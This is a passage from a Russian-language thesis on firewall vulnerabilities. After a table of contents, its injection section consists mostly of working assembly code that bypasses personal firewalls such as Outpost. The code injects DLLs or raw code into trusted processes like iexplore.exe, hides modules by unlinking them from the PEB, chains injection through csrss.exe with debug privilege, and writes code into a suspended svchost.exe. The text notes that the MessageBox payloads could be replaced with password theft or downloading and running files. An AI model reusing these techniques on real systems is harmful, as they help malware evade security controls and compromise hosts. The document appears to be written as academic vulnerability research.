
- •Введение
- •1 Анализ основных типов мэ и способов их применения
- •1.1 Типы межсетевых экранов
- •1.1.1 Фильтры пакетов
- •1.1.2 Фильтры пакетов с контекстной проверкой
- •1.1.3 Сервер уровня соединения
- •1.1.4 Серверы прикладного уровня
- •1.2 Способы применения межсетевых экранов
- •1.Стандартные схемы защиты отдельной локальной сети.
- •1.2.1 Стандартные схемы защиты отдельной локальной сети
- •1.2.2 Применение в составе средств коллективной защиты
- •1.3 Персональные межсетевые экраны
- •1.4 Обобщенная концепция применения межсетевых экранов
- •1.5 Обзор персональных межсетевых экранов, доступных на рынке
- •2 Классификация уязвимостей сетевых экранов, создающих предпосылки их компрометации
- •2.1 Уязвимости сетевых протоколов
- •2.1.1 Снифферы пакетов
- •2.1.2 Уязвимость маршрутизации от источника
- •2.1.4 Атаки типа “отказ в обслуживании”
- •2.1.5 Атаки syn flood
- •2.1.6 Атака Smurf
- •2.1.7 Атака Tribe Flood Network
- •2.1.8 Атака WinFreeze.
- •2.1.9 Атака Loki.
- •2.1.10 Arp атаки
- •2.1.11 Фрагментация
- •2.2 Уязвимости операционных систем
- •2.2.1 Получение прав другого пользователя
- •2.2.2 Нелегальное подключение к системе
- •2.2.3 Человеческий фактор
- •2.2.4 Совместимость с другими операционными системами
- •2.2.5 Парольные атаки
- •2.2.6 Вирусы и приложения типа "троянский конь"
- •2.3 Уязвимости программной реализации сетевых экранов
- •2.3.1 Атаки через туннели в межсетевом экране
- •2.3.2 Атаки вследствие неправильной конфигурации межсетевого экрана
- •2.3.3 Атаки осуществляемые в обход межсетевого экрана
- •2.3.4 Атаки осуществляемые из доверенных узлов и сетей
- •2.3.5 Атаки путем подмены адреса источника
- •2.3.6 Атаки на сам межсетевой экран
- •2.3.7 Атаки на подсистему аутентификации межсетевого экрана
- •2.4 Выводы
- •3 Исследование архитектуры и функционирования мэ на примере предложенного по
- •3.1 Исследование механизмов взаимодействия средств сетевой безопасности с операционной системой
- •3.1.1 Подходы к организации фильтрования трафика в ос Windows
- •3.3 Выводы
- •4 Разработка алгоритмов для проверки уязвимостей средств сетевой безопасности
- •4.1 Обобщённый алгоритм воздействия на средства сетевой безопасности
- •4.3.2.1 Инвентаризация Windows nt/2000/xp
- •4.3.2.3 Инвентаризация unix
- •4.3.3 Проникновение в сеть и захват контроля над хостом
- •4.3.3.1 Взлом хоста с ос Windows
- •4.3.3.2 Взлом хоста с ос Unix
- •4.4 Разработка алгоритмов воздействия на средства сетевой защиты изнутри защищенной сети
- •4.4.1 «Инъекции» кода
- •4.4.2 Использование виртуальной машины
- •4.4.3 Использование уязвимостей ActiveX
- •4.5 Разработка алгоритмов, основанных на уязвимостях механизма взаимодействия средств сетевой безопасности с операционной системой
- •4.6 Разработка алгоритмов установления соединения с компьютером, защищенным межсетевым экраном, персональным сетевым экраном и несколькими сетевыми экранами
- •4.6.1 Http-тунелирование
- •4.6.2 Icmp-тунелирование
- •4.6.4 Pcap-тунелирование
- •4.7 Выводы
4.4 Разработка алгоритмов воздействия на средства сетевой защиты изнутри защищенной сети
4.4.1 «Инъекции» кода
Инъекция (далее «Инежект») - запись исполняемого кода в другой процесс. Применительно к обходу персональных межсетевых экранов речь идёт о записи и исполнении своего кода в разрешённый межсетевым экраном процесс (обычно Internet Explorer) на компрометируемом хосте.
Виды инжекта:
Прямой инжект кода.
Инжект dll и скрытия ее из PEB.
Инжект в два прыжка.
Инжект в запускаемый процесс.
Одним из наиболее защищённых является Outpost FireWall. В нём используются абсолютно все механизмы защиты, встречающиеся в других МЭ. Поэтому для начала рассмотрим возможность атаки методом инжекта кода для Outpost FireWall, а затем оценим возможность применения использованных алгоритмов для построения универсального алгоритма инжекта.
Экспериментальным путем было установлено, что Outpost позволяет записать в память процесса не более 16 байт данных. Объяснить это можно тем, что системные службы могут производить запись в память процесса после его запуска, поэтому для исключения ложных срабатываний был введен порог в 16 байт. Имеющиеся 16 байт используются для имени dll (сама dll должна лежать в system32), после чего сделает CreateRemoteThread с lpStartAddress = LoadLibraryA установив lpParameter на локальный буфер.
Поиск процесса, в который будет производится инжект.
FindProcess:
push ebp
mov ebp, esp
sub esp, 13Ch
push esi
mov dword [ebp-13Ch], 128h
invoke CreateToolhelp32Snapshot, 2, 0
mov esi, eax
cmp eax, -1
jz @F
lea eax, [ebp-13Ch]
invoke Process32First, esi, eax
test eax, eax
jz @F
bb:
lea eax, [ebp-118h]
invoke lstrcmpi, eax, ProcessName
test eax, eax
jz pFound
lea eax, [ebp-13Ch]
invoke Process32Next, esi, eax
test eax, eax
jz @F
jmp bb
@@:
pop esi
leave
ret
pFound:
mov eax, [ebp-308]
jmp @B
Выделяется память и записывается имя dll и вызывается CreateRemoteThread:
ProcessName db 'iexplore.exe', 0
DllName db 'fwbdll.dll', 0
NameSize = $-DllName
entry $
call FindProcess
test eax, eax
jz @F
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
test eax, eax
jz @F
mov esi, eax
invoke VirtualAllocEx, esi, 0, 16, MEM_COMMIT+MEM_RESERVE, PAGE_READWRITE
test eax, eax
jz @F
mov edi, eax
invoke WriteProcessMemory, esi, edi, DllName, NameSize, 0
test eax, eax
jz @F
invoke CreateRemoteThread, esi, 0, 0, [LoadLibrary], edi, 0, 0
invoke CloseHandle, esi
@@:
ret
Содержимое файла dll содержит сообщение MessageBox, однако существует возможность создать отправку паролей с удаленного хоста, или загрузку и запуск файла.
format PE GUI 4.0 DLL
include '%fasminc%\win32a.inc'
text db 'Fuck you, world!', 0
caption db 'Dll inject', 0
entry $
cmp dword [esp+8], DLL_PROCESS_ATTACH
jnz @F
invoke MessageBox, 0, text, caption, 0
@@:
mov eax, 1
retn 0Ch
section '.idata' import data readable
library user32, 'user32.dll'
include '%fasminc%\apia\user32.inc'
section '.reloc' fixups data discardable
Однако контроль компонентов Outpost как и большинство других межсетевых экранов при запросе сетевого соединения проверяют список загруженных в процесс dll, и при наличии новых модулей (либо при изменении контрольной суммы старых) сигнализирует о тревоге, а это может вызвать подозрения. Следовательно следующим шагом станет обход контроля компонентов. Outpost получает список загруженных dll, этот список находится в PEB исправление списка дает возможность скрыть присутствие dll.
Неполное описание структуры PEB
struct PEB
InheritedAddressSpace db ?
ReadImageFileExecOptions db ?
BeingDebugged db ?
Spare db ?
Mutant dd ?
ImageBaseAddress dd ?
LoaderData dd ?
ProcessParameters dd ?
SubSystemData dd ?
ProcessHeap dd ?
FastPebLock dd ?
FastPebLockRoutine dd ?
FastPebUnlockRoutine dd ?
EnvironmentUpdateCount dd ?
KernelCallbackTable dd ?
SystemReserved dd ?
AtlThunkSListPtr32 dd ?
ends
В этой структуре есть элемент LoaderData, который является указателем на структуру PEB_LDR_DATA с которой начинаются двухсвязные списки загруженных моделей. Каждый загруженный модуль описывается структурой LDR_MODULE:
struct LDR_MODULE
InLoadOrderModuleList LIST_ENTRY ?
InMemoryOrderModuleList LIST_ENTRY ?
InInitializationOrderModuleList LIST_ENTRY ?
BaseAddress dd ?
EntryPoint dd ?
SizeOfImage dd ?
FullDllName UNICODE_STRING ?
BaseDllName UNICODE_STRING ?
Flags dd ?
LoadCount dw ?
TlsIndex dw ?
HashTableEntry LIST_ENTRY ?
TimeDateStamp dd ?
ends
Здесь присутствует три списка загруженных модулей, это InLoadOrderModuleList, InMemoryOrderModuleList и InInitializationOrderModuleList. Первые два содержат все инициализированные модули, а последний обычно пуст. Необходимо пройтись по списку InLoadOrderModuleList, сравнивая BaseAddress каждого модуля с hInstance найти используемый модуль, после чего удалить его из InLoadOrderModuleList и InMemoryOrderModuleList. С учетом всего вышесказанного, код используемой dll принимает следующий вид:
format PE GUI 4.0 DLL
include '%fasminc%\win32a.inc'
include 'structs.inc'
text db 'Fuck you, world!', 0
caption db 'Dll inject', 0
HideFromPeb: ; hInstance
push esi
push ebx
mov esi, [esp+0Ch]
mov eax, [fs:30h]
mov eax, [eax+PEB.LoaderData]
add eax, PEB_LDR_DATA.InLoadOrderModuleList
@@:
mov eax, [eax+LDR_MODULE.InLoadOrderModuleList.Flink]
cmp esi, [eax+LDR_MODULE.BaseAddress]
jnz @B
mov esi, [eax+LIST_ENTRY.Flink]
mov ebx, [eax+LIST_ENTRY.Blink]
mov [ebx+LIST_ENTRY.Flink], esi
mov esi, [eax+LIST_ENTRY.Blink]
mov ebx, [eax+LIST_ENTRY.Flink]
mov [ebx+LIST_ENTRY.Blink], esi
lea eax, [eax+LDR_MODULE.InMemoryOrderModuleList]
mov esi, [eax+LIST_ENTRY.Flink]
mov ebx, [eax+LIST_ENTRY.Blink]
mov [ebx+LIST_ENTRY.Flink], esi
mov esi, [eax+LIST_ENTRY.Blink]
mov ebx, [eax+LIST_ENTRY.Flink]
mov [ebx+LIST_ENTRY.Blink], esi
pop ebx
pop esi
ret
entry $
cmp dword [esp+8], DLL_PROCESS_ATTACH
jnz @F
push dword [esp+4]
call HideFromPeb
invoke MessageBox, 0, text, caption, 0
@@:
mov eax, 1
retn 0Ch
section '.idata' import data readable
library user32, 'user32.dll'
include '%fasminc%\apia\user32.inc'
section '.reloc' fixups data discardable
После проделанных операций Outpost Firewall не замечает инжектируемый код и наличие используемой dll.
Прямой инжект кода.
В 16 байт невозможно записать код выполняющий какие-либо полезные действия, но в 16 байт вполне можно уместить код который догрузит все остальное из необходимого процесса. В этом коде должен присутствовать всего лишь один вызов ReadProcessMemory, так как хэндл используемого процесса можно заранее скопировать с помощью DuplicateHandle. ReadProcessMemory принимает 5 параметров размером в dword, и кажется, что в 16 байт нельзя уместить даже эти параметры не говоря уже о коде. Но на самом деле достаточно будет всего 14 байт, если код загрузчика будет иметь такой вид:
push 0
push InjectSize
push esi
push InjectCode
push edi
call ebx
С помощью CreateRemoteThread создается поток в приостановленном состоянии (с флагом CREATE_SUSPENDED), а затем используя GetThreadContext/SetThreadContext заполняются регистры необходимыми параметрами. Остаток кода будет догружаться после call ebx. Пример такого инжекта показывающий MessageBox будет выглядеть так:
LoaderCode:
push 0
push InjectSize
push esi
push InjectCode
push edi
call ebx
LoaderSize = $-LoaderCode
InjectCode:
call $+5
pop esi
sub esi, $-InjectCode-1
push 0
lea eax, [esi+caption-InjectCode]
push eax
lea eax, [esi+text-InjectCode]
push eax
push 0
call [esi+p_MessageBox-InjectCode]
retn 4
p_MessageBox dd 0
text db 'Fuck you, world!', 0
caption db 'Code inject', 0
InjectSize = $-InjectCode
ProcessName db 'iexplore.exe', 0
align 4
context CONTEXT 0
entry $
push ebp
mov ebp, esp
sub esp, 8
mov eax, [MessageBox]
mov [p_MessageBox], eax
call FindProcess
test eax, eax
jz @F
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
test eax, eax
jz @F
mov [ebp-4], eax
invoke VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
test eax, eax
jz @F
mov edi, eax
invoke WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0
lea eax, [ebp-8]
invoke DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS
invoke CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0
mov esi, eax
mov [context.ContextFlags], CONTEXT_FULL
invoke GetThreadContext, esi, context
lea eax, [edi+LoaderSize]
mov [context.regEsi], eax
push dword [ebp-8]
pop [context.regEdi]
push [ReadProcessMemory]
pop [context.regEbx]
invoke SetThreadContext, esi, context
invoke ResumeThread, esi
invoke CloseHandle, esi
invoke CloseHandle, [ebp-4]
invoke Sleep, 100
@@:
leave
ret
Инжект в два прыжка
Во избежание ложных срабатываний межсетвые экраны не могут контролировать инжекты со стороны этого процесса csrss.exe. Следовательно можно сделать инжект в "два прыжка", сначала проинжектиться в csrss.exe, а затем из него в любой другой процесс. Для инжекта в csrss необходимо включить Debug привилегию, это делает следующий код:
PrivName db 'SeDebugPrivilege', 0
EnableDebugPrivilege:
push ebp
mov ebp, esp
sub esp, 24h
invoke OpenProcessToken, -1, 28h, esp
test eax, eax
jz @F
lea eax, [esp+8]
invoke LookupPrivilegeValue, 0, PrivName, eax
test eax, eax
jz @F
mov dword [esp+14h], 1
mov eax, [esp+8]
mov [esp+18h], eax
mov eax, [esp+0Ch]
mov [esp+1Ch], eax
mov dword [esp+20h], 2
lea eax, [esp+10h]
push eax
lea eax, [esp+18h]
push eax
push 10h
lea eax, [esp+20h]
push eax
push 0
mov eax, [esp+14h]
push eax
call [AdjustTokenPrivileges]
@@:
leave
ret
Для упрощения работы, создается таблица адресов необходимых API функций внутри инжект кода, и составляются макросы для простого вызова:
macro callx i {call dword [ebp+p_#i-CodeStart]}
macro invokex proc,[arg]
{ common
if ~ arg eq
reverse
pushd arg
common
end if
callx proc }
Этот код при запуске инжектит себя в csrss, а из него - в iexplore.exe, где и показывает MessageBox:
CodeStart:
call $+5
pop ebp
sub ebp, $-CodeStart-1
mov esi, [esp+4]
test esi, esi
jz mbox
invokex OpenProcess, PROCESS_ALL_ACCESS, 0, esi
test eax, eax
jz @F
mov esi, eax
invokex VirtualAllocEx, esi, 0, CodeSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
test eax, eax
jz @F
mov edi, eax
push [ebp+InjParam-CodeStart]
mov [ebp+InjParam-CodeStart], 0
invokex WriteProcessMemory, esi, edi, ebp, CodeSize, 0
pop eax
invokex CreateRemoteThread, esi, 0, 0, edi, eax, 0, 0
invokex CloseHandle, esi
jmp @F
mbox:
lea eax, [ebp+caption-CodeStart]
lea ebx, [ebp+text-CodeStart]
invokex MessageBox, 0, ebx, eax, 0
@@:
retn 4
text db 'Fuck you, world!', 0
caption db 'TwoJump inject', 0
p_OpenProcess dd 0
p_VirtualAllocEx dd 0
p_WriteProcessMemory dd 0
p_CreateRemoteThread dd 0
p_CloseHandle dd 0
p_MessageBox dd 0
InjParam dd 0
CodeSize = $-CodeStart
Заполнение адресов в таблице API, определение PID необходимых процессов и вызов кода выглядит так:
ProcessName dd 0
fProc db 'csrss.exe', 0
sProc db 'iexplore.exe', 0
entry $
call EnableDebugPrivilege
mov eax, [OpenProcess]
mov [p_OpenProcess], eax
mov eax, [WriteProcessMemory]
mov [p_WriteProcessMemory], eax
mov eax, [CreateRemoteThread]
mov [p_CreateRemoteThread], eax
mov eax, [VirtualAllocEx]
mov [p_VirtualAllocEx], eax
mov eax, [CloseHandle]
mov [p_CloseHandle], eax
mov eax, [MessageBox]
mov [p_MessageBox], eax
mov [ProcessName], sProc
call FindProcess
test eax, eax
jz @F
mov [InjParam], eax
mov [ProcessName], fProc
call FindProcess
test eax, eax
jz @F
push eax
call CodeStart
@@:
ret
Универсальный метод инжекта в запускаемый процесс.
Для практического использования необходимо иметь универсальный метод, работающий против всех персональных межсетевых экранов. Для построения такого метода рассмотрим возможность инжекта в новый запускаемый процесс. Запуск процесса состоит из следующих стадий:
1) Разбор параметров переданных в CreateProcessW, открытие исполнимого файла и определение его типа. На этом этапе определяется является ли запускаемый файл dos или win16 файлом (для них запускается ntvdm.exe и wowexec.exe соответственно), для .bat и .cmd файлов запускается cmd.exe. В дальнейшем считается, что запускается обычный win32 PE файл.
2) Производиться открытие исполнимого файла с помощью ZwOpenFile.
3) Из открытого файла создается секция с атрибутом SEC_IMAGE с помощью вызова ZwCreateSection.
4) С помощью ZwQuerySection извлекаются атрибуты стека и точки входа запускаемого процесса.
5) Создается объект нового процесса с помощью ZwCreateProcess. На уровне ядра в этот момент происходит создание адресного пространства и структуры EPROCESS. Важно заметить, что в этот момент процесс еще не имеет своих потоков и не может исполняться.
6) Происходит установка приоритета процесса с помощью ZwSetInformationProcess.
7) С помощью ZwQueryInformationProcess извлекается выданный системой адрес PEB нового процесса.
8) Производится заполнение PEB и дуплицирование хэндлов ввода-вывода (только для консольных программ). В этот момент многократно вызывается ZwAlocateVirtualMemory, ZwReadVirtualMemory и ZwWriteVirtualMemory.
9) Производиться выделение памяти под стек первичного потока и подготовка его стартового контекста.
10) С помощью ZwCreateThread создается первичный поток.
11) Подсистема win32 (csrss.exe) информируется о старте нового процесса через LPC сообщения. На верхнем уровне этим заведует функция CsrClientCallServer, которая в свою очередь вызывает ZwRequestWaitReplayPort.
12) Первичный поток запускается на исполнение с помощью ZwResumeThread.
На этапе 8 производиться запись в память запускаемого процесса со стороны родительского процесса, поэтому межсетевые экраны включают контроль инжектов позднее. На основании этого факта есть возможность построить методику инжектов в запускаемый процесс, которая сможет обойти контроль большинства межсетевых экранов
С учетом всего вышесказанного, код производящий инжект описанным способом будет выглядеть так:
format PE GUI 4.0
include '%fasminc%\win32a.inc'
section '.code' code readable writeable executable
stri STARTUPINFO ?
prci PROCESS_INFORMATION ?
szSvchost db 'svchost.exe', 0
injcode file 'code.bin'
codesize = $-injcode
oldp dd 0
entry $
mov [stri.cb], sizeof.STARTUPINFO
invoke CreateProcess, 0, szSvchost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, stri, prci
test eax, eax
jz @F
invoke LoadLibraryEx, szSvchost, 0, DONT_RESOLVE_DLL_REFERENCES
test eax, eax
jz @F
add eax, [eax+3Ch]
mov edi, [eax+28h]
add edi, [eax+34h]
invoke VirtualProtectEx, [prci.hProcess], edi, codesize, PAGE_EXECUTE_READWRITE, oldp
invoke WriteProcessMemory, [prci.hProcess], edi, injcode, codesize, 0
invoke ResumeThread, [prci.hThread]
@@:
ret
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll'
include '%fasminc%\apia\kernel32.inc'
Такой способ с соответствующими корректировками можно применять с другими межсетевыми экранами, рассматриваемыми в работе.